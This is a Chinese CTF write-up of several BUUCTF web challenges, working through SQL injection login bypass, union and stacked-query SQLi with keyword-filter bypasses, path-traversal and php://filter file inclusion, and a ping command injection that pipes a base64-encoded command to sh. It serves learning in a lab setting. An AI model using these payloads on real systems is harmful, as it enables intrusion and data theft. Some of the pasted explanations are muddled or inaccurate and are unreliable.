BUUCTF(Web)

[极客大挑战 2019]EasySQL

进入靶机
需要我们填用户和密码。因为是EasySQL,所以猜测是简单的SQL注入。输入万能密码1' or' 1'='1
万能密码
成功登录得到flag
flag
图中显示的“1'or'1'='1”是一种常见的SQL注入攻击手段。SQL注入是一种代码注入技术,攻击者可以通过在SQL查询中插入恶意SQL代码,来欺骗服务器执行非预期的SQL命令。

在这个例子中,“1'or'1'='1”是一个始终为真的SQL条件语句。无论用户输入什么,这个条件都会返回真值(true),从而绕过正常的认证过程,使得攻击者能够在没有正确密码的情况下登录系统。

具体来说,这个语句的工作原理如下:

  • 1'or'1'='1:这个条件永远为真,因为1=1是一个恒等式,总是成立的。
  • 当这个条件被插入到SQL查询中时,整个查询的条件部分就会变为始终为真,从而绕过密码验证。

例如,一个正常的登录查询可能是这样的:

SELECT * FROM users WHERE username='admin' AND password='correct_password';

如果攻击者能够将“1'or'1'='1”插入到密码字段中,查询可能会变成:

SELECT * FROM users WHERE username='admin' AND password='1'or'1'='1';

这个查询的条件部分变为:

'1'='1' AND '1'='1'

两个条件都是真的,所以查询会返回匹配的记录,从而允许攻击者登录。

[极客大挑战 2019]Havefun

进入靶机,看到一只猫猫。
靶机
没什么特别的。查看源代码。源代码
有一个cat的get传参。
在提供的代码中,有一个变量 $cat,它通过 GET 方法从 URL 参数中获取值。代码的逻辑是这样的:

  1. 获取 URL 中 cat 参数的值,并将其赋给变量 $cat
  2. 输出 $cat 的值。
  3. 检查 $cat 是否等于字符串 'dog'
  4. 如果 $cat 等于 'dog',则输出一个特定的字符串(这里假设是 flag)。

代码如下:

<?php
$cat = $_GET['cat'];
echo $cat;
if ($cat == 'dog') {
    echo 'Syc{cat_cat_cat_cat}';
}
?>

在代码审计部分,提到如果 cat 参数的值为 'dog',则会输出一个 flag。为了触发这个条件,你需要构造一个特定的 URL,其中包含 cat 参数,并且其值为 'dog'

构造的 payload 是 /?cat=dog,这个 payload 的作用是:

  • 通过 URL 的查询字符串传递 cat 参数。
  • cat 参数的值设置为 'dog'

当你访问这个 URL 时,服务器会执行 PHP 脚本,获取 cat 参数的值,发现它是 'dog',然后输出相应的 flag。

例如,如果你访问 http://xxxxxx(example).com/?cat=dog,输出可能会是:

dog
Syc{cat_cat_cat_cat}

这里的 Syc{cat_cat_cat_cat} 就是当 cat 参数为 'dog' 时输出的 flag。这种类型的漏洞通常出现在不安全的编程实践中,例如未对用户输入进行适当的验证和清理。
get传参与post传参:https://xuanwo.xin/archives/cd303602-a6ff-4880-95b6-eaf747485d7b

[HCTF 2018]WarmUp php 代码审计

进入靶机,看到一张"滑稽黄脸"的图片靶机
没什么特别的,题目提示是PHP的代码审计。我们查看源代码。
源代码这里有一个php的源代码文件。我们查看一下。php找到一个新的php文件hint.php。我们查看一下。flag。他说flag不在这里,而是在这ffffllllaaaagggg这个文件夹中。我们通过修改文件路径来访问这个文件夹。得出flagflag
在你提供的图片中,展示了一个典型的本地文件包含(Local File Inclusion,简称LFI)漏洞的利用过程。LFI是一种安全漏洞,允许攻击者通过修改应用程序的输入来访问服务器上的文件。

以下是这个LFI漏洞利用过程的详细解释:

  1. 发现LFI漏洞:首先,攻击者发现了一个名为hint.php的文件,该文件中包含了一个可能存在LFI漏洞的代码片段。

  2. 查看hint.php文件:攻击者访问了hint.php文件,文件内容提示flag不在当前位置,而是在另一个文件ffffllllaaaaagggg中。

  3. 构造payload:攻击者构造了一个payload,通过修改URL中的参数来尝试访问ffffllllaaaaagggg文件。在这个例子中,payload是../../../../../ffffllllaaaaagggg

  4. 利用LFI漏洞:通过在URL中添加?file=hint.php?../../../..//ffffllllaaaaagggg,攻击者利用了LFI漏洞,使得服务器尝试读取并返回ffffllllaaaaagggg文件的内容。

  5. 读取flag:服务器成功读取了ffffllllaaaaagggg文件,并将其内容返回给攻击者,其中包括了flag。

这种攻击之所以能够成功,是因为服务器端的代码没有正确地验证或清理用户输入,允许了路径遍历(Path Traversal)攻击。路径遍历是一种利用技巧,攻击者通过修改文件路径来访问服务器上的敏感文件。
php代码审计

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //如果page的值为空或者不是字符串
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
               //检测page的值是否在白名单中
            if (in_array($page, $whitelist)) {
                return true;
            }
               //返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );//查找字符串在另一个字符串中首次出现的位置
            //坚持page的值是否在白名单内
            if (in_array($_page, $whitelist)) {
                return true;
            }
            //将url编码后的字符串还原成未编码的样子,然后赋值给page
            $_page = urldecode($page);
            //返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
            );
            //检验page的值是否在白名单内
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
      
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

[ACTF2020 新生赛]Include

打开靶机tip。一个超链接。点击进去看看。回显回显了一个你能找出flag吗?预计靠burp Suite抓包。flag有一个get。发现一个get传参的flag.php文件。urlurl回显出一个example.cn/file=flag.php。
重要的知识点——PHP封装协议:

php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

payload:/?flie=php://filter/read=convert.base64-encode/resource=flag.php
base64read=convert.base64-encode指示PHP将读取的内容进行Base64编码。全选,找一个在线解密网站中就能得到flag。
flag

[ACTF2020 新生赛]Exec

进入靶机,发现一个ping命令输入框。pingping127.0.0.1ping得通。可以利用管道符|将命令连接起来。|将前一个命令的输出作为后一个命令的输入。/查看根(/)目录下的文件。看到flag文件。查看一下得出flagflag

[GXYCTF2019]Ping Ping Ping

进入靶机只显示这个。靶机在url中输入/?ip=127.0.0.1ping成功ping通。
symbol 输入/?ip=127.0.0.1 | ls /url转义成了ip=127.0.0.1%20|%20ls%20/。说明空格被过滤了。地址栏所以在地址栏里面输入127.0.0.1|ls发现flag.php和index.php文件。
绕过空格看不到flag。flag我们看一下index.phpindex。有一个php代码

<?php //我自己加的
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

这段PHP代码看起来是一个简单的 ping 命令执行脚本,它接受一个IP地址作为输入,并使用 shell_exec 函数来执行 ping 命令。代码中包含了一些用于过滤和验证输入的基本安全检查。下面是对这段代码的审计和分析:

安全检查

  1. 特殊字符过滤

    • 使用 preg_match 函数检查输入的IP地址是否包含一系列特殊字符,包括 &, /, ?, *, <, 空白字符(\x{00}-\x{20}),>, ', ", \, (, ), [, ], {, }
    • 如果包含这些字符,脚本会输出 fxck your symbol! 并终止执行。
  2. 空格检查

    • 检查输入的IP地址是否包含空格。如果包含,脚本会输出 fxck your space! 并终止执行。
  3. 禁止特定字符串

    • 检查输入的IP地址是否包含字符串 "bash"。如果包含,脚本会输出 fxck your bash! 并终止执行。
    • 检查输入的IP地址是否包含字符串 "flag"。如果包含,脚本会输出 fxck your flag! 并终止执行。
      所以它也过滤了flag。小问题。之前我们写 [ACTF2020 新生赛]Include那到题时,用base64输出,我们这次也把cat flag.php用base64绕过。随便找个在线网站,把cat flag.php用base64编码一下。base64编码后
      构建payload:/?ip=127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
      找到flagflag
      这段内容描述了一种利用PHP伪协议和Base64编码来绕过某些安全限制的技术。具体来说,它涉及到在URL参数中注入命令,并通过Base64编码来隐藏这些命令。下面是对这个过程的详细解释:
  4. PHP伪协议
    PHP伪协议允许PHP代码在执行时读取或写入文件、执行命令等。例如,php://filter 伪协议可以用于读取文件内容并进行编码或解码。

  5. Base64编码
    Base64是一种常用的编码方法,可以将二进制数据转换为由64个可打印字符组成的文本字符串。这种编码常用于在不支持二进制数据的系统之间传输数据。

  6. 注入命令
    在这个例子中,攻击者试图执行 cat flag.php 命令来查看 flag.php 文件的内容。为了绕过安全限制,他们将这个命令进行Base64编码,得到 Y2F0IGZsYWcucGhw

  7. 构造URL参数
    攻击者构造了一个URL参数,其中包含了一个注入的命令:

    ?ip=127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
    

    这里:

    • 127.0.0.1 是一个示例IP地址。
    • echo$IFS$9Y2F0IGZsYWcucGhw 使用了IFS(Internal Field Separator)环境变量来插入一个制表符(\t),然后输出Base64编码的字符串。
    • |base64$IFS$9-d 使用管道符 | 将输出传递给 base64 -d 命令进行解码。
    • |sh 将解码后的内容传递给 sh 命令执行。
  8. 执行过程
    当这个URL参数被传递给服务器时,服务器会尝试执行这个命令。首先,Base64编码的字符串被解码为原始命令 cat flag.php,然后这个命令被执行,输出 flag.php 文件的内容。

  9. F12查看注释
    最后提到的“然后再F12,看注释”是指在浏览器中按F12打开开发者工具,查看网络请求或源代码中的注释,以获取更多关于这个攻击过程的信息。

绕过绕过

[SUCTF 2019]EasySQL

进去靶机是一个这样的输入框靶机是简单的sql注入应该是。看题解关键点在于select $_POST['query'] || flag from Flag的一个后端代码。不是很清楚怎么知道的后端代码,不管啦!
问ai的
在SQL中,|| 运算符的行为取决于MySQL的sql_mode设置。在这个问题中,关键在于理解PIPES_AS_CONCAT sql_mode选项的作用。

  1. 默认情况下,如果没有设置PIPES_AS_CONCAT|| 运算符在MySQL中作为逻辑OR使用。这意味着如果第一个操作数为假(如NULL或0),则评估第二个操作数。

  2. 如果设置了PIPES_AS_CONCAT,则|| 运算符用作字符串连接符,相当于CONCAT()函数。这允许你连接两个字符串。

在你提供的图片中,后端代码使用了以下查询:

SELECT ${_POST['query']} || flag FROM Flag

为什么 *,1 可以查出flag?

在默认情况下,由于没有设置PIPES_AS_CONCAT|| 运算符作为逻辑OR使用。这意味着如果${_POST['query']}为假(例如,空字符串或NULL),则查询将评估为 flag。因此,提交 *,1 作为查询参数,其中 * 为假(因为它不匹配任何行),而 1 为真,所以查询返回 flag 列的值。

为什么 set sql_mode=PIPES_AS_CONCAT; select 1 || flag 可以查出flag?

当设置 PIPES_AS_CONCAT 时,|| 运算符用作字符串连接符。提交的查询变为:

set sql_mode=PIPES_AS_CONCAT;
SELECT 1 || flag FROM Flag

这里,1flag 被连接成一个字符串。由于 1 是一个非空字符串,查询将返回 1flag(即 1flag 的连接结果)。

总结

这两个方法都可以查出flag,但原因不同:

  • *,1 利用了逻辑OR的行为,在默认sql_mode下,当第一个操作数为假时返回第二个操作数。
  • set sql_mode=PIPES_AS_CONCAT; select 1 || flag 利用了字符串连接的行为,在设置 PIPES_AS_CONCAT 后,将两个字符串连接起来。

这种类型的题目在CTF(Capture The Flag)比赛中很常见,测试参赛者对SQL注入和sql_mode的理解。
flag老实说,这道题完全就是跟着别人的思路走。然后不太清楚怎么知道后端代码的。但是貌似如果是这个select $_POST['query'] || flag from Flag的话,||默认是逻辑或,所以*,1*为假,所以返回flagset sql_mode=PIPES_AS_CONCAT; select 1 || flag是设置PIPES_AS_CONCAT,所以||是字符串连接,所以返回1flag。嗯...

[极客大挑战 2019]LoveSQL

进入一个靶机,有一行很小的字。靶机“用SQLmap是没有灵魂的”说明这道题用sqlmap可能会浪费很多时间,我也不清楚能不能做出来,估计大佬也能做出了。但我们还是用常规的sql注入。
登录使用万能密码登录。密码登录进去了,但感觉没什么用。我们使用常规做法看有几个字段。我们在密码框里面输入1' union select 1,2,3#!看到回显说明有3个字段。回显但有效注入点只有2、3。把三换成database()再查一次。1' union select 1,2,database()#
geek爆出库为geek。
爆表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
这段代码是一个SQL注入攻击的例子,它利用了UNION语句和GROUP_CONCAT函数来获取数据库中特定模式(schema)下的表名。下面是对这段代码的详细解释:

SQL注入背景

SQL注入是一种常见的网络攻击技术,攻击者通过在Web应用的输入字段中插入恶意SQL代码,试图让后端数据库执行这些代码,从而获取敏感信息或执行未授权的操作。

代码解释

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
  1. 1':这部分可能是注入点的一部分,用于闭合前一个SQL语句或表达式。例如,如果原始查询是SELECT * FROM users WHERE id = 1,那么注入点可能在id字段,攻击者通过输入1'来闭合这个查询。

  2. union selectUNION语句用于将两个或多个SELECT语句的结果合并成一个结果集。在SQL注入中,UNION可以用来执行额外的查询,并将结果与原始查询的结果合并。

  3. 1,2,group_concat(table_name):这部分定义了UNION查询的结果集格式。

    • 1,2:这些是前两列的占位值,因为原始查询可能期望这两列的数据。
    • group_concat(table_name):使用GROUP_CONCAT函数将information_schema.tables表中所有table_name列的值连接成一个字符串。information_schema.tables是一个系统表,包含了数据库中所有表的信息。
  4. from information_schema.tables:指定了查询的数据源,即information_schema.tables表。

  5. where table_schema='geek':这个WHERE子句限制了查询结果,只返回table_schemageek的表名。table_schema是数据库模式的名称,类似于数据库中的命名空间。

  6. #:这是一个SQL注释符号,用于注释掉后面的内容。在SQL注入中,这可以用来绕过输入验证或截断查询。

攻击目的

这个SQL注入攻击的目的是从数据库中获取特定模式(geek)下的所有表名。通过将这些表名连接成一个字符串并返回,攻击者可以了解数据库的结构,这是进一步攻击的重要步骤。
爆出了两个表名表名
爆字段:l0ve1ysq1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#字段
爆出两个字段。我们查看一下字段内容1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
flag貌似看见flag了。

Syclover @ cl4y




Login Success!




Hello 2!

Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{1bbd1321-6855-4c72-9de6-f107f415fba6}'

全选粘贴后。

[强网杯2019]随便注

进入靶机靶机。应该又是一个sql注入。打一个单引号报错。单引号,说明是字符型的mysql。
爆字段查询3时无结果,说明只有两个可用字段。
我们爆一下库1 ';show databases;#爆库爆出以下库。我们再爆一下表。1 ';show tables;#爆表爆出两个表。我们查看一下两个表的字段。记住,表名为数字时,需要用"重音键",也就是~号下面那个重音键括起来。
1 ';show columns from '1919810931114514';#不能直接复制我的,得把我的英文单引号改成重音键字段表名为“1919810931114514”的表有flag字段。我们查看一下字段内容。1' union select flag from '1919810931114514';#
被过滤发现一个正则匹配,这些字段被过滤了。小问题,我们找办法绕过就好了。
方法1:自定义预定义语法并执行
1' ;PREPARE stmt FROM CONCAT('s','elect',' * from '1919810931114514'');EXECUTE stmt;#

1' ;PREPARE stmt FROM CONCAT(char(115,101,108,101,99,116),' * from '1919810931114514'');EXECUTE stmt;#

1' ;set @sqli=concat(char(115,101,108,101,99,116),' * from '1919810931114514');PREPARE stmt FROM @sqli;EXECUTE stmt;#
这段内容描述了一种 SQL 注入攻击技巧,旨在绕过对某些 SQL 关键字(如 SELECT)的过滤,以便能够执行任意 SQL 查询。这里使用了 MySQL 的一些高级功能,如预处理语句(PREPARE)、执行(EXECUTE)和字符串拼接(concatchar 函数)。以下是详细解释:

方法一:自定义预定义语句并执行

  1. 使用 concat 函数

    • concat('s','elect','* from'1919810931114514''):这个函数将多个字符串拼接在一起,形成完整的 SQL 查询 SELECT * FROM 1919810931114514
    • PREPARE hacker FROM ...:准备一个名为 hacker 的预处理语句,其中包含拼接好的 SQL 查询。
    • EXECUTE hacker;:执行准备好的预处理语句。
  2. 使用 char 函数

    • char(115,101,108,101,99,116):这个函数将 ASCII 值转换为对应的字符,这里转换的是 SELECT
    • concat(char(115,101,108,101,99,116),'* from'1919810931114514''):将 SELECT 与其余部分拼接,形成完整的 SQL 查询。
    • PREPARE hacker FROM ...:准备一个名为 hacker 的预处理语句,其中包含拼接好的 SQL 查询。
    • EXECUTE hacker;:执行准备好的预处理语句。
  3. 使用变量存储 SQL 查询

    • set @sqli=concat(char(115,101,108,101,99,116),'* from'1919810931114514''):将拼接好的 SQL 查询存储在变量 @sqli 中。
    • PREPARE hacker FROM @sqli;:准备一个名为 hacker 的预处理语句,其中包含变量 @sqli 中的 SQL 查询。
    • EXECUTE hacker;:执行准备好的预处理语句。

解释

这些代码片段展示了如何通过不同的方法绕过对 SELECT 关键字的过滤,以便能够执行任意 SQL 查询。具体来说:

  • concat 函数:用于将多个字符串拼接在一起,形成完整的 SQL 查询。
  • char 函数:用于将 ASCII 值转换为对应的字符,这里用于绕过对 SELECT 关键字的过滤。
  • PREPAREEXECUTE:用于准备和执行预处理语句,这些语句可以包含动态生成的 SQL 查询。
  • 变量存储:使用变量(如 @sqli)存储动态生成的 SQL 查询,然后在预处理语句中使用这些变量。

方法二 编码逃逸 绕过过滤

方法2:使用十六进制绕过
构建payload select * from where 1919810931114514 进行16进制编码加密:
73656c656374202a2066726f6d20603139313938313039333131313435313460
最终payload:1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
这段内容描述的是一种 SQL 注入攻击技巧,目的是绕过对 SELECT 关键字的过滤。在这种攻击中,攻击者尝试通过编码或其他方式来隐藏或绕过过滤机制,以便能够执行任意 SQL 语句。

解释

  1. 过滤绕过

    • 由于 SELECT 关键字被过滤,直接使用它会导致攻击失败。
    • 攻击者考虑使用编码(如十六进制编码)来绕过过滤。
  2. 构造 Payload

    • 原始的 SQL 查询是 SELECT * FROM where 1919810931114514,其中 * 用于查询数据表中的全部内容,where 1919810931114514 是一个示例条件。
    • 为了绕过过滤,攻击者将这个查询进行十六进制编码。
  3. 十六进制编码

    • 将原始 SQL 查询转换为十六进制编码:73656c656374202a2066726f6d20603139313938313039333131313435313460
    • 这个编码表示的是原始 SQL 查询的十六进制表示。
  4. 最终 Payload

    • 最终的 Payload 是 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute
    • 这个 Payload 的解释如下:
      • 1';:结束前面的 SQL 语句。
      • SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;:将十六进制编码的 SQL 查询赋值给变量 @a
      • prepare execsql from @a;:准备执行从变量 @a 中获取的 SQL 查询。
      • execute:执行准备好的 SQL 查询。

通过这种方式,攻击者可以绕过对 SELECT 关键字的过滤,执行任意 SQL 查询,从而可能获取敏感信息或进行其他恶意操作。
得出flagflag

[极客大挑战 2019]Secret File

进入靶机靶机是这个解密。查看一下源码。源码我们点进去这个PHP文件看一下。php再看一下这个文件。php这里啥都没有。我们抓个包看看。抓包抓包发现了一个叫做secr3t.php的文件。我们点进去看看。

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<code><span style="color: #000000">
&lt;html&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;secret&lt;/title&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;charset="UTF-8"&gt;<br /><span style="color: #0000BB">&lt;?php<br />&nbsp;&nbsp;&nbsp;&nbsp;highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$file</span><span style="color: #007700">=</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">];<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"../"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"tp"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"input"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"data"</span><span style="color: #007700">)){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"Oh&nbsp;no!"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;include(</span><span style="color: #0000BB">$file</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #FF8000">//flag放在了flag.php里<br /></span><span style="color: #0000BB">?&gt;<br /></span>&lt;/html&gt;<br /></span>
</code></html>

文本中提示“//flag放在了flag.php里”我们也进去查看一下。flag进去是这样的。我们查看一下源码。源码源码也是这样的。记得我们之前封装了一个php文件,让他以base64输出。我们这次也这样试试
构建payload/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php嗯。/secrt3t.php是一定要加的。因为就是访问secr3t.php这个文件时看到的flag.php文件。

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<code><span style="color: #000000">
&lt;html&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;secret&lt;/title&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;charset="UTF-8"&gt;<br /><span style="color: #0000BB">&lt;?php<br />&nbsp;&nbsp;&nbsp;&nbsp;highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$file</span><span style="color: #007700">=</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">];<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"../"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"tp"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"input"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"data"</span><span style="color: #007700">)){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"Oh&nbsp;no!"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;include(</span><span style="color: #0000BB">$file</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #FF8000">//flag放在了flag.php里<br /></span><span style="color: #0000BB">?&gt;<br /></span>&lt;/html&gt;<br /></span>
</code>PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MGVkZGE1M2QtYzYxZC00NmEzLWIyYjktODZiZDFlZWY2Y2ZifSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=</html>

base64

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MGVkZGE1M2QtYzYxZC00NmEzLWIyYjktODZiZDFlZWY2Y2ZifSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解密得到

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{0edda53d-c61d-46a3-b2b9-86bd1eef6cfb}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

得到flagflag

[极客大挑战 2019]Http

进入靶机靶机进入靶机是这样的。二话不说查看源代码。源代码发现一个可以的secret.php,访问一下,secret进去看到了一个网站,是buuctf的地址,告诉web服务器用户从哪个界面过来的。那抓个包查看一下就好了。
包加一个Referer头用于告诉web服务器,用户是从哪个页面找过来的。提示提示一个这个。添加User-Agent:Syclover
User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息提示又提示一个这个,只能在本地读取。那就添加一个X-Forwarded-For:127.0.0.1得到flag了flag

[极客大挑战 2019]Upload

